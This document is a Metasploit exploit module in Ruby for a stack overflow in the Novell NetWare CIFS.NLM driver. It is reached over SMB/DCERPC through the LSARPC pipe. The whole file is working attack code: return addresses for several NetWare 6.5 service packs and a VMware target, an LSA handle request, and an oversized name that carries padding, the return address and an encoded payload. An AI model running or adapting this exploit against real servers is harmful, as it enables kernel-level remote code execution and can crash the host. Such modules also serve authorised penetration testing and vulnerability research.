Novell NetWare LSASS CIFS.NLM Driver Stack Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB  
  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the NetWare CIFS.NLM driver.  
Since the driver runs in the kernel space, a failed exploit attempt can  
cause the OS to reboot.  
},  
'Author' =>   
[  
'toto',  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'OSVDB', '12790' ],  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00",  
},  
'Platform' => 'netware',  
'Targets' =>   
[  
# NetWare SP can be found in the SNMP version :  
# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)  
  
[ 'VMware', { 'Ret' => 0x000f142b } ],  
[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)  
],  
  
'DisclosureDate' => 'Jan 21 2007'))  
  
register_options(  
[  
OptString.new('SMBPIPE', [ true, "The pipe name to use (LSARPC)", 'lsarpc'])  
], self.class)  
  
end  
  
def exploit   
  
# Force multi-bind off (netware doesn't support it)  
datastore['DCERPC::fake_bind_multi'] = false  
  
connect()  
smb_login()  
  
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])  
  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
stb =  
NDR.long(rand(0xffffffff)) +  
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +  
NDR.long(0) +  
NDR.long(0) +  
NDR.long(0) +  
NDR.long(0) +  
NDR.long(0) +  
NDR.long(0) +  
NDR.long(0x000f0fff)  
  
resp = dcerpc.call(0x2c, stb)  
handle, = resp[0,20]  
code, = resp[20, 4].unpack('V')  
  
name =  
rand_text_alphanumeric(0xa0) +  
[target.ret].pack('V') +  
payload.encoded  
  
stb =   
handle +  
NDR.long(1) +  
NDR.long(1) +  
  
NDR.short(name.length) +  
NDR.short(name.length) +  
NDR.long(rand(0xffffffff)) +  
  
NDR.UnicodeConformantVaryingStringPreBuilt(name) +  
  
NDR.long(0) +  
NDR.long(0) +  
NDR.long(1) +  
NDR.long(0)   
  
print_status("Calling the vulnerable function ...")  
  
begin  
dcerpc.call(0x0E, stb)  
rescue  
end  
  
# Cleanup  
handler  
disconnect  
end  
  
end  
  
`